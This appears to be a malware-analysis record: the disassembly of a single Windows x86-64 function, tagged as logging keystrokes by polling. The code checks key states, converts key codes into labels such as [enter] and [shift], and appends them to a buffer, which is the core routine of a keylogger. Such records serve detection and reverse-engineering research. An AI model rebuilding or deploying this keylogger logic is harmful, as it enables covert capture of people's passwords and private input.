Function at 0x180007690
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x148
mov rax, qword [0x180045040]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1800076c9
mov byte [rsp + 0x28], 1
jmp 0x1800076ce
mov byte [rsp + 0x28], 0
mov al, byte [rsp + 0x28]
mov byte [rsp + 0x20], al
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x20
ja 0x180007758
cmp dword [rsp + 0x24], 0x20
je 0x1800077ab
cmp dword [rsp + 0x24], 8
je 0x1800078e3
cmp dword [rsp + 0x24], 9
je 0x1800077db
cmp dword [rsp + 0x24], 0xd
je 0x1800077c3
cmp dword [rsp + 0x24], 0x10
je 0x18000783b
cmp dword [rsp + 0x24], 0x11
je 0x18000789b
cmp dword [rsp + 0x24], 0x14
je 0x180007883
cmp dword [rsp + 0x24], 0x1b
je 0x18000780b
jmp 0x1800078fb
cmp dword [rsp + 0x24], 0x2e
je 0x1800077f3
cmp dword [rsp + 0x24], 0x37
je 0x180007823
cmp dword [rsp + 0x24], 0xa0
je 0x180007853
cmp dword [rsp + 0x24], 0xa1
je 0x18000786b
cmp dword [rsp + 0x24], 0xa2
je 0x1800078b3
cmp dword [rsp + 0x24], 0xa3
je 0x1800078cb
jmp 0x1800078fb
lea rdx, [0x1800349fc]
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._enter_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._tab_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._delete_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._esc_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._cmd_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._shift_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._left_shift_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._right_shift_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._caps_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._ctrl_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._left_ctrl_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._right_ctrl_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
lea rdx, str._backspace_
lea rcx, [0x180046348]
call fcn.180002804
jmp 0x180007ad7
cmp dword [rsp + 0x150], 0x70
jb 0x180007982
cmp dword [rsp + 0x150], 0x87
ja 0x180007982
mov eax, dword [rsp + 0x150]
sub eax, 0x6f
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.180007420
mov r8, rax
lea rdx, [0x180034a98]
lea rcx, [rsp + 0x50]
call fcn.180007b30
lea r8, [0x180034a94]
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.180004a08
mov rdx, rax
lea rcx, [0x180046348]
call fcn.180006818
lea rcx, [rsp + 0x30]
call fcn.1800026ec
lea rcx, [rsp + 0x50]
call fcn.1800026ec
lea rcx, [rsp + 0x70]
call fcn.1800026ec
jmp 0x180007ad7
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0xf0]
call fcn.180032510
xor edx, edx
mov ecx, dword [rsp + 0x150]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov r8d, 0x40
lea rdx, [rsp + 0xf0]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0
je 0x180007a59
lea rcx, [rsp + 0xf0]
call fcn.180018280
cmp rax, 1
jbe 0x180007a59
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xd0]
call fcn.1800024a8
mov r8, rax
lea rdx, [0x180034aa0]
lea rcx, [rsp + 0xb0]
call fcn.180007b30
lea r8, [0x180034a9c]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180004a08
mov rdx, rax
lea rcx, [0x180046348]
call fcn.180006818
lea rcx, [rsp + 0x90]
call fcn.1800026ec
lea rcx, [rsp + 0xb0]
call fcn.1800026ec
lea rcx, [rsp + 0xd0]
call fcn.1800026ec
jmp 0x180007ad7
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x180007a6b
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180007a7d
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x180007a99
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180007a99
mov ecx, dword [rsp + 0x150]
call fcn.18001a2f0
mov dl, al
lea rcx, [0x180046348]
call fcn.18000683c
jmp 0x180007ad7
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x180007aab
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180007abd
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x180007ad7
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x180007ad7
mov ecx, dword [rsp + 0x150]
call fcn.18001a31c
mov dl, al
lea rcx, [0x180046348]
call fcn.18000683c
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.18000dd20
add rsp, 0x148
ret